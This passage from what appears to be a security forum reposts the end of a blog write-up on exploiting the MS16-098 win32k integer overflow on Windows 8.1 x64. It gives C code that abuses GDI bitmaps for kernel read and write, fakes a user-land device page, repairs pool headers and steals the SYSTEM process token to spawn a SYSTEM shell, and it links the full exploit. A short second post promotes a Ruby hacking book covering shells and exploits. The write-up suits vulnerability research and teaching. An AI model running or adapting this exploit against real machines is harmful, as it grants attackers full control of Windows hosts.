0x3FE01)) { fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError()); } } Then a check was added to the loop calling PolyLineTo, to check if the loop iteration was bigger than 0x1F, then change the value of points[2].y to a larger value that will be bigger than 0x1F0 and thus fail the check and the subsequent points will not be copied to our buffer. This will effectively control the overflow as such that the function will overflow the buffer until the next adjacent bitmap object sizlBitmap member with 0x1 and 0xFFFFFFFF, effectively expanding this bitmap object, allowing us to read/write past the original bounds of the bitmap object. The way to figure out which bitmap object was the one is by, iteratively, calling GetBitmapBits with size larger than the original values on each bitmap from our kernel pool spray; if it succeeds then this bitmap was the one that was overflowed, making it the manager bitmap and the next one in the bitmap array will be the worker bitmap. for (int k=0; k < 5000; k++) { res = GetBitmapBits(bitmaps[k], 0x1000, bits); if (res > 0x150) // if check succeeds we found our bitmap. } Hopefully, if everything is working as planned, we should be able to read 0x1000 bits from memory. Below there is the bitmap object before and after the overflow, the header, sizLBitmap and hdev members were overflowed. When the exploit resumes, and the loop to detect which is the vulnerable bitmap is executed, a crash happens after several calls to GetBitmapBits. The crash occurs in the PDEVOBJ::bAlowSharedAcces function. When trying to read from the address 0x0000000100000000, which is the hdev member of the overwritten bitmap object above, during the analysis, it was noticed that bitmap objects usually had either NULL or a pointer to a Gdev device object in this member, in the case of a pointer to a device object. The function win32k!GreGetBitmapBits will call NEEDGRELOCK::vLock that will in turn call PDEVOBJ::bAllowSharedAccess. Looking at the disassembly of the NEEDGRELOCK::vLock function, you will notice that the function will use the PDEVOBJ only to call PDEVOBJ::bAllowSharedAccess, if the result returns zero, it will continue to the other checks, of which none reference the PDEVOBJ. Furthermore, in GreGetBitmapBits, the function doesn’t check the return value of NEEDGRELOCK::vlock, after execution, the PDEVOBJ::bAllowSharedAccess will try to read that address in the first function block and if the data read is equal to one, then the function will exit, with code 0, which is what is needed to continue execution. The nice thing here is that if you look at the address that is being referenced, you will notice that the memory location that this address can fall in is in user-land. Using VirtualAlloc to allocate memory to this address and set all bytes to 1, will exit the function without errors, and will retrieve the bitmap data using GetBitmapBits, without crashing. VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); memset(fake, 0x1, 0x100); Step 6 – Fixing the Overflowed Header: At this point, the exploit is able to read/write to adjacent memory with size 0xFFFFFFFF * 1 * 4, which is more than enough to reach the second adjacent bitmap object in the next page, and overwrite the pvScan0 address to be used to gain arbitrary read/write on kernel memory. When the exploit exited, it was noticed that sometimes some crash happens related to pool headers when the process is exiting. The way to go around this was to use GetBitmapbits, to read the headers for the next region and the bitmap objects, which were not overwritten, and then leak a kernel address that can be found in the region object, The way to calculate the address of the overflowed region object is by nulling the lowest byte of the leaked address, which will give us the address of the beginning of the current page, subtract the second lowest byte by 0x10, effectively subtraction 0x1000 from the beginning of the current page that will result in the start address of the previous page. addr1[0x0] = 0; int u = addr1[0x1]; u = u - 0x10; addr1[1] = u; Next, the address to the overflowed Bitmap object is calculated, remember that the region object is of size 0xbc0, so setting the lowest byte of the address retrieved at the last step to 0xc0, and adding 0xb to the second lowest byte, will result in the header address of the overflown bitmap object. addr1[0] = 0xc0; int y = addr1[1]; y = y + 0xb; addr1[1] = y; Then, SetBitmapBits is used by the manager bitmap object to overwrite the pvScan0 member of the worker bitmap object with the address of the region header. Then the worker bitmap object is used with SetBitmapBits to set that data pointed to by this address to the header data read in the first step; the same is done for the overflowed bitmap object header. void SetAddress(BYTE* address) { for (int i = 0; i < sizeof(address); i++) { bits[0xdf0 + i] = address[i]; } SetBitmapBits(hManager, 0x1000, bits); } void WriteToAddress(BYTE* data) { SetBitmapBits(hWorker, sizeof(data), data); } SetAddress(addr1); WriteToAddress(Gh05); Step 7 – Stealing SYSTEM Process Token from the EPROCESS structure: The code used in this part is taken directly from Diego’s blog post[2] and the technique is heavily discussed in several papers and articles. However, it will be briefly explained for the sake of completeness. The process begins by getting the kernel address of PsInitialSystemProcess, which is a pointer to the first entry in the EPROCESS list, that pointer is exported by ntoskrnl.exe. // Get base of ntoskrnl.exe ULONG64 GetNTOsBase() { ULONG64 Bases[0x1000]; DWORD needed = 0; ULONG64 krnlbase = 0; if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) { krnlbase = Bases[0]; } return krnlbase; } // Get EPROCESS for System process ULONG64 PsInitialSystemProcess() { // load ntoskrnl.exe ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe"); // get address of exported PsInitialSystemProcess variable ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess"); FreeLibrary((HMODULE)ntos); ULONG64 res = 0; ULONG64 ntOsBase = GetNTOsBase(); // subtract addr from ntos to get PsInitialSystemProcess offset from base if (ntOsBase) { ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64)); } return res; } The function PsInitalSystemProcess, will load the ntoskrnl.exe into memory, and user GetProcAddress to get the address of the exported PsInitialSystemProcess, then it will get the kernel base address by using the EnumDeviceDrivers() function. Subtracting the PsInitialSystemProcess from the loaded ntoskrnl.exe will result in the offset of PsInitalSystemProcess from kernel base, adding this offset to the retrieved Kernel base will return the kernel address of the PsInitialSystemProcess pointer. LONG64 PsGetCurrentProcess() { ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS // walk ActiveProcessLinks until we find our Pid LIST_ENTRY ActiveProcessLinks; ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY)); ULONG64 res = 0; while (TRUE) { ULONG64 UniqueProcessId = 0; // adjust EPROCESS pointer for next entry pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64); // get pid ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64)); // is this our pid? if (GetCurrentProcessId() == UniqueProcessId) { res = pEPROCESS; break; } // get next entry ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY)); // if next same as last, we reached the end if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64)) break; } return res; } Then it will proceed by using the manager and worker bitmaps to traverse the EPROCESS list looking for the current process entry in this list, once found, the function will use the bitmaps to read the SYSTEM Token from the first entry in the EPROCESS list, and write it the Token of the current process entry in the EPROCESS list. // get System EPROCESS ULONG64 SystemEPROCESS = PsInitialSystemProcess(); //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS); ULONG64 CurrentEPROCESS = PsGetCurrentProcess(); //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS); ULONG64 SystemToken = 0; // read token from system process ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8); // write token to current process ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset; SetAddress((BYTE *)&CurProccessAddr); WriteToAddress((BYTE *)&SystemToken); // Done and done. We're System :) Step 8 – SYSTEM !! Now the current process has a SYSTEM level token, and will continue execution as SYSTEM, calling cmd.exe will drop into a SYSTEM shell. system("cmd.exe"); The code and EXE for the exploit for Windows 8.1 x64 bit can be found at: https://gitlab.sensepost.com/saif/MS16-098_RNGOBJ_Integer_Overflow References: [1] https://www.coresecurity.com/blog/ms16-039-windows-10-64-bits-integer-overflow-exploitation-by-using-gdi-objects2 [2] https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives [3] https://msdn.microsoft.com/en-us/library/windows/desktop/bb776657(v=vs.85).aspx [4] http://www.zerodayinitiative.com/advisories/ZDI-16-449/ [5] Using Paths Example: https://msdn.microsoft.com/en-us/library/windows/desktop/dd145181(v=vs.85).aspx [6] Device Context Types: https://msdn.microsoft.com/en-us/library/windows/desktop/dd183560(v=vs.85).aspx [7] Memory Device Context: https://msdn.microsoft.com/en-us/library/windows/desktop/dd145049(v=vs.85).aspx [8] https://technet.microsoft.com/library/security/MS16-098 [9] https://www.amazon.co.uk/Guide-Kernel-Exploitation-Attacking-Core/dp/1597494860 [10] Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes – Keen Team: http://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes [11] Windows Graphics Programming: Win32 GDI and DirectDraw: https://www.amazon.com/exec/obidos/ASIN/0130869856/fengyuancom [12] Abusing GDI objects for ring0 exploit primitives reloaded: https://www.coresecurity.com/system/files/publications/2016/10/Abusing-GDI-Reloaded-ekoparty-2016_0.pdf Sursa: https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/
      • 1
      • Upvote
  25. Nytro

    RubyFu

    RubyFu Rubyfu, where Ruby goes evil! This book is a great collection of ideas, tricks and skills that could be useful for Hackers. It's a unique extraction reference, summarizes a lot of research and experience in order to achieve your w00t in shortest and smartest way. Rubyfu is where you'll find plug-n-hack code, Rubyfu is a book to use not only to read, it's where ruby goes evil. Who should read this book? Ideally, Hackers!; Those who have enough experience to hack our world and have at least basics in Ruby programming language. To get the best benefits of the book, open Rubyfu.net and pin its browser tab; Use irb/pry as interpreter to run the code or run it as script; Enhance the code to fit your needs and yeah, tweet the code and its output to @Rubyfu to share it with our awesome community. Organization of the book Module 0x0 | Introduction Module 0x0 is just a smooth start for you, whether you're a reader, writer, hacker or someone came to say hi. In this module you'll find a great start for you as a contributor, where all kinds of contributions are welcome starting from proofreading ending to topic writing. Module 0x1 | Basic Ruby Kung Fu Module 0x1 is an awesome collection of the most commonly needed String manipulation, extraction and conversion. Dealing with real cases that you might face during your hack. Dealing with encoding and data conversion could be trivial or complex topic and here we don't care, we'll solve it. Module 0x2 | System Kung Fu Module 0x2 digs more in system hacking, where the system command, file manipulation, cryptography and generating the common hashes are needed. Getting bind and reverse shell with really simple ways requires skill you need no doubt. Almost all Linux systems are shipped-up with ruby and if it doesn't?, no problem we'll get rid of it. Module 0x3 | Network Kung Fu Module 0x3 dives deeper in the network sockets, protocols, packet manipulation, more service enumeration ways and gives us more hacky and awesome code to get the job done. Working with network protocols need a deeper knowledge of how these protocols work in order to exchange understandable data and yeah, we'll figure it out right here. Module 0x4 | Web Kung Fu Module 0x4 web is the most common place to share information, however, it's a more delicious place to hack. Dealing with web known with its uniqueness for dealing with many and many technologies in one page only. Here we'll know how to deal with GET, POST requests, web services, databases, APIs and manipulating the browser to make it our soldier. Module 0x5 | Exploitation Kung Fu Module 0x5 whatsoever the vulnerability was, remote (FTP, IMAP, SMTP, etc.) or local (file format, local system) you'll need to know how to build fuzzers and skeleton exploit for that. If you get there you'll need a simple, clean and stable way to build your exploit. Here you'll know how to build your fuzzer, exploit and porting your exploit to Metasploit and how to write your own Metasploit modules too. Module 0x6 | Forensic Kung Fu Module 0x6 whoever you're, good or bad guy you'll need forensic skills in your hack and/or investigation. Here you'll learn more how to deal with registry extracting browsers' information and much more. Link: https://www.gitbook.com/book/rubyfu/rubyfu/details
      • 2
      • Upvote
×
×
  • Create New...